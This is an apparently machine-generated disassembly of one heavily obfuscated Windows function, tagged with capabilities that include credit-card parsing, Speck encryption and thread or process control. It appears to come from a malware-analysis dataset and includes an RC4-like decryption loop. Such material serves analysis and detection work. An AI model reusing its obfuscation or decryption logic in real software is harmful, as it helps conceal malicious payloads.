Function at 0x180004954
Capabilities:
Accept command line arguments
Authenticate hmac
Encode data using base64
Encrypt data using speck
Parse credit card information
Parse pe header
Resume thread
Terminate process
Write file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
lea rbp, [rax - 0x3b8]
sub rsp, 0x498
mov eax, dword [rsp + 0x74]
xor r11d, r11d
mov r9d, dword [rsp + 0x74]
mov dword [rsp + 0x40], r11d
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x78], r9
jmp 0x180004999
xor r11d, r11d
mov esi, 0x63
mov edi, 0x57
mov rbx, qword [section..data]
xor edx, edx
add bl, 0x27
mov dword [rsp + 0x48], r11d
movzx r8d, bl
mov eax, 0x39c
div r8
mov ecx, 0x295
mov qword [rsp + 0x68], rbx
mov r10, rax
movabs rax, 0x621b97c2aec12653
and r10, r8
or r10, 0x32a
mul r10
mov qword [rsp + 0x58], r10
shr rdx, 8
imul rax, rdx, 0x29c
mov rdx, r10
sub rcx, rax
sub rcx, r8
add rdx, rcx
mov qword [rsp + 0x58], rdx
movzx eax, bl
mov rcx, rdx
sub rcx, rax
movsxd rax, dword [rsp + 0x48]
or rcx, rdi
sub rcx, 0x1f7
cmp rax, rcx
jb 0x180005ea3
mov eax, r11d
lea rcx, [rdx + 0x15a]
mov dword [rsp + 0x48], eax
and ecx, 0x370
cdqe
add rcx, 0xa0
cmp rax, rcx
jb 0x180004b45
mov eax, 0x2a
cmp bl, al
je 0x18000499e
mov eax, 0x32
cmp bl, al
ja 0x1800065db
cmp bl, 0x18
jbe 0x180004a8c
mov rcx, qword [rsp + 0x58]
mov r9, rdx
movzx r8d, bl
mov qword [rsp + 0x20], rdx
call qword [sym.imp.KERNEL32.dll_WriteFile]
movsxd r10, eax
mov qword [rsp + 0x58], r10
jmp 0x180004ac0
mov eax, 0x17
cmp bl, al
jne 0x180004aa6
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x48], r11d
mov edi, 0x5c
jmp 0x180004b01
cmp bl, 0x40
jbe 0x180004ac9
mov rcx, qword [rsp + 0x58]
movzx edx, bl
call fcn.1800066b0
mov r10, rax
mov qword [rsp + 0x58], rax
xor r11d, r11d
lea edi, [r11 + 0x5c]
jmp 0x180004b06
mov eax, 0x45
cmp bl, al
jne 0x180004af2
mov dword [rsp + 0x28], eax
mov r9d, eax
mov r8d, eax
mov qword [rsp + 0x20], rax
mov edx, eax
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_LCMapStringW]
mov bl, al
xor r11d, r11d
jmp 0x180004a9f
mov edi, 0x5c
cmp bl, dil
je 0x180004b45
cmp bl, 0x50
je 0x180004b45
mov r10, qword [rsp + 0x58]
movzx eax, bl
imul rcx, rax, 0x258
movabs rax, 0x8cabb37565e2011
mul rcx
sub rcx, rdx
shr rcx, 1
lea rbx, [rdx + rcx]
shr rbx, 8
mov qword [rsp + 0x68], rbx
cmp bl, 0x48
jbe 0x180004bab
movzx ecx, bl
mov edx, ecx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
mov qword [rsp + 0x68], rax
mov r11d, 0x13
mov r9d, 0x3a
movsxd rsi, dword [rsp + 0x48]
mov rcx, qword [0x18002f048]
movabs rax, 0x6816816816816817
mul rcx
mov rax, rcx
lea edi, [rcx + rcx]
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul eax, eax, 0x5b
sub edi, eax
xor edi, 0x234
mov ecx, edi
imul rbx, rcx, 0x325
cmp edi, r11d
jae 0x1800060b7
mov r8d, ebx
mov edx, ebx
call fcn.180002e2c
mov edi, eax
jmp 0x180006114
cmp bl, 0x37
jbe 0x180004bd0
movzx edx, bl
mov rcx, r10
mov r9d, edx
movzx r8d, bl
mov qword [rsp + 0x20], r10
call qword [sym.imp.KERNEL32.dll_WriteFile]
movsxd rdx, eax
jmp 0x180004cd6
cmp bl, 1
jb 0x180004b45
cmp bl, 0x59
je 0x180006692
cmp bl, 0x1b
jne 0x180004c9f
mov eax, 0xf
cmp r10, rax
jb 0x180006623
mov eax, 0x5d
cmp r10, rax
ja 0x180004c1f
lea r9d, [rax - 0x42]
mov r8d, r9d
mov ecx, r9d
mov rdx, r10
mov qword [rsp + 0x20], r10
call fcn.180004954
jmp 0x180004d80
cmp r10, 0xa
jae 0x180004c35
mov qword [0x18002f010], 0xfffffffffffffe7f
jmp 0x180004d83
cmp r10, 0x30c
jne 0x180004c4b
mov eax, r11d
mov qword [rsp + 0x50], rax
jmp 0x180004d83
mov eax, 0x5b
cmp r10, rax
je 0x18000661c
mov eax, 0x49
cmp r10, rax
jb 0x180005e9e
mov eax, 0x4c
cmp r10, rax
jne 0x180004c84
lea r8d, [rax - 0x31]
mov edx, eax
mov ecx, r8d
call fcn.180002e2c
jmp 0x180004b40
cmp r10, 0x22
ja 0x180004d83
mov r9, r10
mov r8d, 0x1b
mov rcx, r10
jmp 0x180004c0d
cmp bl, 0x33
jae 0x180006688
mov eax, 0x2d
cmp bl, al
jbe 0x180004cc5
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov bl, al
mov ecx, 5
mov qword [rsp + 0x68], rbx
jmp 0x180004cf9
mov ecx, 5
cmp bl, cl
jae 0x180004ce2
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov edx, eax
mov qword [rsp + 0x58], rdx
mov ecx, 5
jmp 0x180004cfe
cmp bl, 0x3d
je 0x180005e9e
cmp bl, 0x2b
ja 0x180006545
cmp bl, 0x10
je 0x180004cce
mov rdx, qword [rsp + 0x58]
cmp bl, 0x2e
ja 0x180004b45
mov eax, 0xc
cmp bl, al
jne 0x180004d22
mov rcx, qword [rsp + 0x58]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x180004daf
cmp bl, 0x40
jne 0x180004d36
mov rcx, qword [rsp + 0x58]
call fcn.1800066b0
jmp 0x180004b40
cmp bl, cl
jb 0x180006683
cmp bl, 0x34
ja 0x180006688
mov eax, 0x4d
cmp bl, al
jne 0x180004d63
lea rax, [rdx + 0x139]
or rax, rdx
mov qword [section..data], rax
jmp 0x180004daf
mov eax, 0x55
cmp bl, al
jbe 0x180004d7b
mov rcx, qword [rsp + 0x58]
movzx edx, bl
call fcn.1800066b0
jmp 0x180004daf
cmp bl, 0x1b
jne 0x180004d8d
xor r11d, r11d
mov edx, r11d
mov qword [rsp + 0x78], rdx
jmp 0x180004db2
cmp bl, sil
jne 0x180004da1
mov r8d, esi
mov edx, esi
mov rcx, rsi
call fcn.180002e2c
jmp 0x180004daf
cmp bl, 0x2c
je 0x180004daf
cmp bl, 0x27
jae 0x180006683
xor r11d, r11d
movzx ecx, bl
movabs rax, 0x56b015ac056b015b
mul rcx
shr rdx, 6
mov qword [rsp + 0x58], rdx
cmp bl, 0x1b
jne 0x180004dda
mov dword [rsp + 0x70], 0x97284752
jmp 0x180004df0
cmp bl, 0x5e
ja 0x180004b45
mov eax, 0x12
cmp bl, al
je 0x1800065c6
and edx, 0x2bd
mov qword [rsp + 0x58], rdx
cmp rdx, 4
jae 0x1800065b1
test rdx, rdx
jne 0x180004e11
mov dword [rsp + 0x60], r11d
jmp 0x180004e7f
mov eax, 0x13
cmp rdx, rax
ja 0x18000499e
cmp rdx, 0xa
jbe 0x180004e44
mov r8, qword [rsp + 0x58]
mov rcx, r8
movzx edx, bl
call qword [sym.imp.KERNEL32.dll_HeapSize]
mov rdx, qword [rsp + 0x58]
mov bl, al
mov qword [rsp + 0x68], rbx
jmp 0x180004e61
cmp rdx, 0x33
jb 0x180004e66
mov rcx, qword [rsp + 0x58]
movzx r8d, bl
call qword [sym.imp.SHELL32.dll_ExtractIconW]
mov rdx, rax
mov qword [rsp + 0x58], rax
xor r11d, r11d
jmp 0x180004e70
cmp rdx, 2
jae 0x180006688
cmp rdx, 0x1b
ja 0x18000659e
test rdx, rdx
jne 0x180004e89
mov dword [rsp + 0x74], r11d
jmp 0x180004f32
mov eax, 0x49
cmp rdx, rax
jae 0x180006688
cmp rdx, 0x47
je 0x18000499e
cmp rdx, 0x26
jae 0x18000499e
cmp rdx, 0x27
jae 0x180006688
cmp rdx, 0x28
jbe 0x180004ed2
movzx ecx, bl
mov r9, rdx
movzx r8d, bl
mov qword [rsp + 0x20], rcx
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x180004eee
mov eax, 0x16
cmp rdx, rax
jne 0x180004ef5
movzx r9d, bl
mov r8d, eax
movzx edx, bl
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_HeapReAlloc]
mov qword [rsp + 0x68], rax
jmp 0x180004f32
cmp rdx, 0x37
jbe 0x180004f11
lea rax, [rdx + 0x12c]
xor rax, 0x216
mov qword [0x18002f030], rax
jmp 0x180004f32
mov eax, 0x55
cmp rdx, rax
jae 0x180006683
cmp rdx, 0x5f
je 0x18000667c
cmp rdx, rdi
ja 0x180004b45
mov eax, dword [rsp + 0x60]
mov r11, qword [rsp + 0x50]
xor ecx, ecx
cmp rax, qword [rbp + 0x3c8]
jb 0x180004f54
mov rax, qword [rbp + 0x3c0]
jmp 0x18000669e
xor ecx, ecx
mov rax, qword [0x18002f048]
test r11d, r11d
je 0x1800054b9
mov eax, dword [rsp + 0x60]
test r11d, r11d
je 0x180004f3d
mov r10d, 0xc5130cd1
mov rax, qword [0x18002f008]
mov edi, 0x11d
imul ecx, eax, 0x2b4
mov esi, 0x1be
sub edi, ecx
mov eax, edi
sub rsi, rax
cmp edi, 1
je 0x180006677
mov r11d, 0
cmp edi, 0x25
jb 0x180004999
cmp edi, r10d
jne 0x18000504a
movabs rax, 0xffffffff3aecf4ed
cmp rsi, rax
jne 0x180004fd3
mov eax, dword [rsp + 0x48]
inc eax
movzx ecx, al
mov dword [rsp + 0x48], ecx
jmp 0x1800050e1
mov eax, 0xf
cmp rsi, rax
je 0x180004f73
cmp rsi, 0x4b
jb 0x180004f73
cmp rsi, 0x31
je 0x1800054b9
cmp rsi, 0x45
jb 0x1800050dd
cmp rsi, 0x50
jb 0x180005e99
mov eax, 0x57
cmp rsi, rax
je 0x18000669e
mov eax, 0x14
cmp rsi, rax
je 0x180005c59
cmp rsi, 0x31
jb 0x180004f73
mov eax, 0x1a
cmp rsi, rax
jae 0x1800050dd
mov r8d, esi
mov edx, r10d
mov rcx, r10
call fcn.180002e2c
mov esi, eax
jmp 0x1800050d4
mov eax, 0x41
cmp edi, eax
jne 0x180005066
mov r8d, eax
mov edx, eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_HeapSize]
mov rsi, rax
jmp 0x1800050d4
cmp edi, 0x22
jb 0x18000653a
cmp edi, 0x29
jbe 0x1800054b9
cmp edi, 0x1b
jb 0x180006677
cmp edi, 0x33
jne 0x180005094
call qword [sym.imp.KERNEL32.dll_GetLastError]
imul edi, esi, 0x25b
jmp 0x1800050d4
cmp edi, 2
jne 0x1800050a2
mov qword [0x18002f010], r11
jmp 0x1800050dd
mov eax, 0x4d
cmp edi, eax
jne 0x1800050ba
mov edx, eax
mov rcx, rsi
call fcn.1800066b0
mov rdi, rax
jmp 0x1800050d4
cmp edi, 0x20
je 0x180004b45
cmp edi, 0xa
jne 0x1800050dd
mov edx, edi
mov rcx, rsi
call fcn.1800066b0
mov edi, eax
mov r10d, 0xc5130cd1
xor r11d, r11d
mov ecx, dword [rsp + 0x48]
mov eax, 0x288
movzx ebx, di
imul ebx, eax
mov eax, 0x26a
add bx, ax
or bx, di
mov dword [rsp + 0x44], ebx
cmp edi, 0x64
je 0x1800054b9
mov eax, 0x5c
cmp edi, eax
jae 0x18000511e
imul edi, edi, 0x1dc
sub edi, 0x249
jmp 0x1800052f8
mov eax, 0x13
cmp edi, eax
je 0x180006636
cmp edi, r10d
jne 0x18000523e
lea r9d, [rax + 0x10]
cmp bx, r9w
jne 0x18000516f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
movzx ebx, ax
mov r10d, 0xc5130cd1
movabs rax, 0x97b425ed097b425f
mov esi, ebx
mul rbx
shr rdx, 5
imul rax, rdx, 0x36
sub rsi, rax
or rsi, r10
jmp 0x18000536f
cmp bx, 0x54
jae 0x18000518d
mov eax, 0xffd1
movzx ebx, si
imul ebx, eax
mov eax, 0xb5
and bx, ax
jmp 0x180005375
mov eax, 0x4c
cmp bx, ax
je 0x180006677
cmp bx, 0x35
jb 0x180006083
mov eax, 0x32
cmp bx, ax
jae 0x1800051c4
movzx eax, bx
or rax, 0x1daae
mov qword [0x18002f010], rax
jmp 0x180005375
mov eax, 5
cmp bx, ax
jb 0x180005ca6
mov eax, 0x7ff3
cmp bx, ax
je 0x180005c6f
cmp bx, 0x39
jb 0x180004999
mov eax, 0x5b
cmp bx, ax
jb 0x180004f73
mov r11, qword [rsp + 0x50]
mov eax, 0x1c
lea ecx, [rax - 0x1c]
cmp bx, ax
je 0x180004f54
lea eax, [rcx + 0x16]
cmp bx, ax
jae 0x180005375
movzx edx, bx
mov r9, rsi
mov r8, r10
mov qword [rsp + 0x20], rsi
mov rcx, rsi
call fcn.180004954
mov rsi, rax
mov r10d, 0xc5130cd1
jmp 0x18000536f
mov eax, 0x3b
cmp edi, eax
jb 0x180006092
cmp edi, 0x64
ja 0x180005283
movzx r8d, bx
mov edx, esi
mov ecx, edi
call fcn.180002e2c
movzx ebx, ax
mov ecx, esi
movabs rax, 0xf83e0f83e0f83e1
mov dword [rsp + 0x44], ebx
mul rsi
shr rdx, 5
imul eax, edx, 0x210
sub ecx, eax
xor edi, ecx
jmp 0x1800052f8
cmp edi, 0x3c
jae 0x180005294
mov ecx, edi
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov esi, eax
jmp 0x1800052f8
cmp edi, 0x59
jb 0x180006644
cmp edi, 0x3c
jne 0x1800052b3
movzx ecx, bx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
movzx ebx, ax
jmp 0x180005315
cmp edi, 4
je 0x180005e99
mov eax, 0x4a
cmp edi, eax
jne 0x1800052d9
movzx r8d, bx
mov rcx, rsi
movzx edx, bx
call qword [sym.imp.SHELL32.dll_ExtractIconA]
mov edi, eax
jmp 0x1800052f8
cmp edi, 0x50
jae 0x1800052ed
movzx ecx, bx
mov edx, edi
call fcn.1800066b0
mov rsi, rax
jmp 0x1800052f8
cmp edi, 0x3c
ja 0x1800052f8
add edi, 0xc1c80
mov r11d, 0
cmp edi, 0x46
je 0x180004999
cmp edi, 0x28
jb 0x180006644
cmp edi, 0x4f
ja 0x18000532d
movzx ecx, bx
mov edx, edi
call fcn.1800066b0
movzx ebx, ax
mov edi, eax
and bx, 8
jmp 0x180005468
cmp edi, 0x45
jb 0x180006697
mov eax, 0x56
cmp edi, eax
jne 0x180005353
mov eax, 0xe3
sub rax, rsi
mov qword [0x18002f010], rax
jmp 0x180005468
mov eax, 0x3f
cmp edi, eax
je 0x180006644
mov r10d, 0xc5130cd1
cmp edi, r10d
jne 0x180005406
mov r9d, 0x23
mov ecx, 0x7ff3
cmp bx, cx
je 0x180005c94
mov eax, 0x63
cmp bx, ax
jne 0x1800053a3
mov r8d, eax
mov edx, r10d
mov rcx, r10
call fcn.180002e2c
movzx ebx, ax
jmp 0x180005468
mov eax, 0x49
cmp bx, ax
jbe 0x180006677
mov eax, 0x4d
cmp bx, ax
je 0x180006677
mov eax, 0xc
cmp bx, ax
jne 0x1800053e0
mov r9, rsi
mov qword [rsp + 0x20], r10
mov r8d, eax
mov edx, eax
mov rcx, rsi
call fcn.180004954
jmp 0x18000539b
cmp bx, r9w
je 0x180005cb1
mov eax, 0x5c
cmp bx, ax
jne 0x180005468
mov r8d, eax
mov edx, eax
mov rcx, r10
call fcn.180002e2c
jmp 0x180005f92
mov ecx, 9
cmp edi, ecx
je 0x180005f70
cmp edi, 0x21
jb 0x180004999
cmp edi, 0x5a
jbe 0x180006677
lea eax, [rcx + 0x4e]
cmp edi, eax
ja 0x18000546d
movzx ebx, bx
mov r8, rsi
mov r9d, ebx
mov edx, edi
mov rcx, rsi
mov qword [rsp + 0x20], rbx
call fcn.180004954
movabs rax, 0xcccccccccccccccd
mov edi, esi
mul rbx
shr rdx, 4
lea rax, [rdx + rdx*4]
shl rax, 2
sub rbx, rax
sub edi, ebx
mov ebx, dword [rsp + 0x44]
mov ecx, 9
mov r10d, 0xc
cmp bx, r10w
je 0x180005cc1
cmp bx, cx
je 0x180004f6d
mov eax, 0x7ff3
cmp bx, ax
jne 0x180005cd4
movsxd r8, dword [rsp + 0x40]
xor edx, edx
movsxd r9, dword [rsp + 0x48]
mov eax, 0x284
mov ecx, edi
div rcx
add eax, dword [rbp + r8*4 - 0x70]
mov dword [rbp + r9*4 - 0x70], eax
jmp 0x180005ccf
xor r11d, r11d
mov rbx, qword [0x18002f010]
mov eax, 0x185
movzx r10d, bx
imul r10d, eax
mov eax, 0x341
or r10w, ax
movabs rax, 0xe525982af70c880f
movzx ecx, r10w
mul rcx
mov esi, ecx
mov dword [rsp + 0x44], r10d
shr rdx, 8
imul rax, rdx, 0x11e
sub rsi, rax
and sil, bl
mov qword [rbp - 0x80], rsi
cmp rbx, 0x10
je 0x180005720
cmp rbx, 0x3d
ja 0x180005611
movzx edx, sil
mov r8, rbx
mov qword [rsp + 0x20], rcx
mov r9d, edx
mov rcx, rbx
call fcn.180004954
mov rbx, rax
mov r10d, dword [rsp + 0x44]
movabs r8, 0x3e891aba3ce3c6c
mov r9, qword [rsp + 0x78]
xor r11d, r11d
xor edx, edx
movzx eax, r10w
div rbx
mov ecx, 0x26c
mov rdi, rax
add di, cx
test r10w, r10w
je 0x1800054bc
cmp r10w, 0x35
je 0x180005e99
mov eax, 0x17
cmp r10w, ax
jb 0x1800060a3
cmp r10w, 0x18
je 0x180005919
mov eax, 0x3a
cmp r10w, ax
jb 0x180005907
mov eax, 0xd35d
cmp r10w, ax
jne 0x180005929
cmp rbx, 0x1d
jb 0x18000665d
cmp rbx, r8
jne 0x180005734
mov edx, 0x3b
cmp di, dx
jbe 0x18000664f
cmp di, cx
je 0x180005878
lea r9d, [rdx + 0x28]
cmp di, r9w
je 0x1800054bc
cmp di, 0x2c
ja 0x18000576e
movzx edx, di
mov r9d, eax
mov ecx, eax
mov qword [rsp + 0x20], rax
call fcn.180004954
movzx ecx, ax
and al, sil
or al, 0x9f
mov qword [rbp - 0x80], rax
jmp 0x18000592d
mov eax, 0x44
cmp rbx, rax
jb 0x180005e99
cmp rbx, 0x43
jne 0x18000563c
movzx r8d, sil
mov rcx, rbx
movzx edx, r10w
call fcn.180002e2c
mov ebx, eax
jmp 0x180005534
cmp rbx, 0x4b
je 0x180005e99
jb 0x180005f86
cmp rbx, 0x62
jae 0x180005666
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
movzx r10d, ax
mov dword [rsp + 0x44], r10d
jmp 0x180005539
cmp rbx, 0x45
jae 0x18000567c
movzx ecx, sil
mov edx, ebx
call fcn.1800066b0
jmp 0x180005531
mov edx, 0x16
cmp rbx, rdx
ja 0x18000568f
movzx edx, r10w
mov rcx, rbx
jmp 0x180005672
cmp rbx, 0x46
jb 0x1800054bc
mov r11, qword [rsp + 0x50]
cmp rbx, rax
je 0x180004f52
cmp rbx, 0x53
je 0x180006649
cmp rbx, 0x1f
jb 0x180006649
mov eax, 0x3e
movabs r8, 0x3e891aba3ce3c6c
cmp rbx, rax
jae 0x1800056e5
movzx eax, sil
add rax, 0x82
mov qword [0x18002f040], rax
jmp 0x180005543
cmp rbx, r8
jne 0x180005707
mov ecx, dword [rsp + 0x60]
cmp sil, 0x24
mov r9, qword [rsp + 0x78]
lea eax, [rcx + r9]
cmovne eax, ecx
mov dword [rsp + 0x60], eax
jmp 0x180005548
mov eax, 0x11
cmp rbx, rax
jae 0x180005543
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
jmp 0x1800054b9
mov r9, qword [rsp + 0x78]
movabs r8, 0x3e891aba3ce3c6c
jmp 0x18000554b
cmp rbx, 0x14
je 0x180004999
cmp rbx, 4
jb 0x1800054bc
cmp rbx, 0x47
je 0x180006654
cmp rbx, 3
jae 0x1800058ba
mov edx, eax
mov rcx, rax
call fcn.1800066b0
movzx edi, ax
jmp 0x180005929
mov ecx, 0x5d
cmp di, cx
jne 0x18000578f
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movzx edi, ax
xor al, al
mov qword [rbp - 0x80], rax
jmp 0x180005929
mov ecx, 0x12
cmp di, cx
jne 0x1800057df
mov edx, 0xa3ce3c6c
mov rcx, r8
call fcn.1800066b0
movzx ecx, ax
movabs rax, 0x36103584ec3ce187
mul rcx
mov eax, ecx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0xf
imul rax, rax, 0xd35d
sub rcx, rax
mov eax, 0x3a3
sub cx, ax
movzx edi, cx
jmp 0x180005929
mov ecx, 0x56
cmp di, cx
je 0x18000669e
mov ecx, 0x2a
cmp di, cx
ja 0x180005808
movzx eax, sil
mov ecx, 0x89
add cx, ax
jmp 0x180005933
mov ecx, 0xf
cmp di, cx
ja 0x180005827
movzx edx, sil
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
movsxd rbx, eax
jmp 0x180005929
mov ecx, 0x57
cmp di, cx
jbe 0x180005f9c
lea eax, [rcx - 0x16]
cmp di, ax
ja 0x180005858
movzx eax, di
mov ecx, 0xd52f
sub rcx, rax
mov qword [0x18002f038], rcx
mov ecx, dword [rsp + 0x44]
jmp 0x180005933
mov eax, 0x2d
cmp di, ax
jb 0x180004b45
mov eax, 0x3e
cmp di, ax
jne 0x18000584f
movzx ecx, sil
mov edx, eax
jmp 0x180005819
mov eax, 0x10
cmp sil, al
jne 0x180005899
mov edx, eax
mov ecx, eax
call fcn.1800066b0
mov qword [rbp - 0x80], rax
mov edi, 0xc6b2
jmp 0x180005929
mov eax, 0x44
cmp sil, al
ja 0x18000664f
mov ecx, dword [rsp + 0x44]
cmp sil, 0x24
jne 0x18000592d
mov eax, r9d
add qword [rbp - 0x78], rax
jmp 0x18000592d
cmp rbx, 0xd
jne 0x1800058d8
movzx eax, di
xor rax, 0xd054
or rax, 0x309
mov qword [0x18002f030], rax
jmp 0x180005929
mov eax, 0xf
cmp rbx, rax
ja 0x1800058ec
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
jmp 0x180005929
mov eax, 0x11
cmp rbx, rax
jae 0x180005929
mov rdx, rbx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
movzx ecx, ax
jmp 0x18000592d
movzx edx, r10w
movzx ecx, r10w
call fcn.1800066b0
mov rbx, rax
jmp 0x180005929
movzx eax, di
and rax, 0xfffffffffffffe06
mov qword [0x18002f020], rax
mov ecx, dword [rsp + 0x44]
mov r9d, 0x63
mov r11, qword [rsp + 0x50]
movabs rax, 0x14cab88725af6e75
movzx r8d, cx
mov esi, 0x5d
movzx r10d, di
mov ecx, r10d
imul rcx, r8
mul rcx
mov rcx, qword [rbp - 0x80]
shr rdx, 5
sub esi, edx
cmp cl, 0x1b
jb 0x180004f52
cmp cl, r9b
jne 0x180005980
lea rbx, [r8 + 0x1fd]
or rbx, r9
jmp 0x180005a5e
cmp cl, 0x24
jne 0x1800059be
xor edx, edx
mov ecx, esi
mov eax, esi
div rcx
movzx r8d, di
add r8d, 0x99
sub eax, 0x79
xor r8d, 0x24
or eax, 0x25
add r8d, 0x41c64b4c
add eax, 0x308c
imul r8d, dword [rsp + 0x70]
add eax, r8d
mov dword [rsp + 0x70], eax
jmp 0x180005a34
mov eax, 0xf
cmp cl, al
je 0x18000658c
lea r11d, [rax + 4]
cmp cl, r11b
jb 0x180004b4b
lea r9d, [rax + 0x2b]
cmp cl, r9b
jbe 0x1800059eb
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov esi, eax
jmp 0x180005a34
mov eax, 0x32
cmp cl, al
jbe 0x180005a11
mov rax, qword [rbp - 0x80]
mov ecx, esi
movzx edx, al
mov r9d, esi
mov r8d, esi
mov qword [rsp + 0x20], rcx
call fcn.180004954
mov cl, al
jmp 0x180005a5e
mov r11d, 0x2a
cmp cl, r11b
jne 0x180005a3a
mov eax, esi
mov r9, rbx
mov rdx, r10
mov qword [rsp + 0x20], rax
mov ecx, r11d
call fcn.180004954
movzx edi, ax
mov rcx, qword [rbp - 0x80]
jmp 0x180005a5e
cmp cl, 0x1e
jb 0x180006672
mov r11, qword [rsp + 0x50]
cmp cl, 0x43
ja 0x180004f52
mov eax, 5
cmp cl, al
jbe 0x1800060ac
xor edx, edx
mov r8d, esi
mov eax, 0x214
div r8
mov rax, rdx
xor edx, edx
div r8
mov r9, rax
mov eax, 0x2f5
xor r9w, ax
mov eax, 0x1a
cmp di, ax
jb 0x180005fc2
mov eax, 0x26c
cmp di, ax
jne 0x180005ac8
mov ebx, dword [rsp + 0x70]
movabs rax, 0x47ae147ae147ae15
mul rbx
mov eax, ebx
mov r11d, ebx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x64
sub r11, rax
mov qword [rsp + 0x50], r11
jmp 0x180005adf
mov eax, 0x63
cmp di, ax
jb 0x18000669b
mov r11, qword [rsp + 0x50]
mov ebx, dword [rsp + 0x70]
xor edx, edx
mov rax, r8
div r8
mov r10, 0xffffffffffffffa1
mov eax, 0x2f5
sub r10, rdx
and r10d, 0x20f
cmp r9w, ax
jne 0x180005b51
cmp cl, 0x24
jne 0x180005b28
imul eax, ebx, 0x41c64e6d
mov ecx, r10d
imul ecx, esi
xor ecx, 0x2ca
lea ebx, [rax + 0x299f530]
add ebx, ecx
mov dword [rsp + 0x70], ebx
jmp 0x180005b70
cmp cl, 0x2e
jbe 0x180005b70
mov rcx, r8
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, 0x3d6
mov r8d, esi
movsxd r10, eax
movzx eax, si
xor ax, 8
or ax, cx
movzx r9d, ax
jmp 0x180005b70
mov eax, 0x3f
lea ecx, [rax - 0x3f]
cmp r9w, ax
jbe 0x180004f54
lea eax, [rcx + 0x41]
cmp r9w, ax
je 0x18000666d
mov al, dil
or al, 0xf4
cmp r10, 0x42
jbe 0x180006669
mov r11, qword [rsp + 0x50]
mov ecx, 0
cmp r10, 0xe
jb 0x180004f64
test r10, r10
jne 0x180005bac
movzx r8d, r9w
movzx edx, di
movzx ecx, al
call fcn.180002e2c
jmp 0x180005c39
cmp r10, 0x38
jbe 0x180005fb4
mov edx, 0x57
cmp r10, rdx
jae 0x180005bcc
mov edx, esi
mov rcx, r8
call fcn.1800066b0
jmp 0x180005c39
cmp r10, 0x201
jne 0x180005c1b
mov edx, 0x44
cmp r9w, dx
jb 0x180006663
mov r11, qword [rsp + 0x50]
mov edx, 0x2f5
cmp r9w, dx
jne 0x180004f64
movzx eax, al
lea ecx, [r10 - 0x5e]
sub rcx, rax
xor edx, edx
xor rcx, r8
mov eax, 0xfffeb314
sub rcx, rax
mov eax, ebx
div rcx
mov qword [rsp + 0x78], rdx
jmp 0x180005c39
cmp r10, 0x30
jae 0x180005c45
movzx r8d, al
mov rdx, r10
movzx r9d, r9w
movzx ecx, di
mov qword [rsp + 0x20], r8
call fcn.180004954
mov r11, qword [rsp + 0x50]
xor ecx, ecx
jmp 0x180004f64
cmp r10, 0x48
je 0x180006663
mov r11, qword [rsp + 0x50]
jmp 0x180004f64
mov qword [rsp + 0x20], rax
mov r9, rax
mov r8, r10
mov rdx, r10
mov rcx, rax
jmp 0x180005f7f
movsxd rax, ecx
mov ecx, dword [rbp + rax*4 - 0x70]
mov eax, dword [rsp + 0x40]
add eax, ecx
and eax, 0x800000ff
mov dword [rsp + 0x40], eax
jge 0x180005c94
dec eax
or eax, 0xffffff00
inc eax
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x48]
mov al, byte [rbp + rax*4 - 0x70]
mov byte [rsp + 0x4c], al
jmp 0x180005494
mov r8d, r10d
mov edx, r10d
jmp 0x1800053f9
mov r8d, esi
mov edx, r9d
mov rcx, rsi
call fcn.180002e2c
jmp 0x180005ccf
mov edx, r10d
mov rcx, r10
call fcn.1800066b0
movzx ebx, ax
mov eax, 0x7ff3
mov ecx, 0x55
lea edi, [rsi + 0x27f]
cmp bx, cx
jne 0x180005d02
mov eax, edi
mov r9, rsi
mov r8, rsi
mov qword [rsp + 0x20], rax
mov edx, esi
call qword [sym.imp.KERNEL32.dll_HeapQueryInformation]
mov edi, eax
mov esi, 0x2ff
jmp 0x180005d27
cmp bx, ax
jne 0x180005d17
movsxd rdx, dword [rsp + 0x40]
movzx ecx, byte [rsp + 0x4c]
mov dword [rbp + rdx*4 - 0x70], ecx
jmp 0x180005d2b
mov eax, 0x4a
cmp bx, ax
mov eax, 0x13
cmove edi, eax
mov edx, dword [rsp + 0x40]
cmp edi, 0x3aecf76c
jne 0x180005d9f
movabs rax, 0xffffffff3aecf4ed
cmp rsi, rax
jne 0x180005d8c
movsxd rcx, dword [rsp + 0x48]
movsxd rax, edx
mov edx, dword [rbp + rax*4 - 0x70]
add edx, dword [rbp + rcx*4 - 0x70]
and edx, 0x800000ff
jge 0x180005d64
dec edx
or edx, 0xffffff00
inc edx
mov eax, dword [rsp + 0x60]
movsxd rcx, edx
mov dl, byte [rbp + rcx*4 - 0x70]
mov rcx, qword [rbp + 0x3c0]
xor dl, byte [rax + rcx]
mov eax, dword [rsp + 0x74]
mov rcx, qword [rbp + 0x3d0]
mov byte [rax + rcx], dl
jmp 0x180005e81
mov r9d, 0x23
cmp rsi, r9
jae 0x180005da5
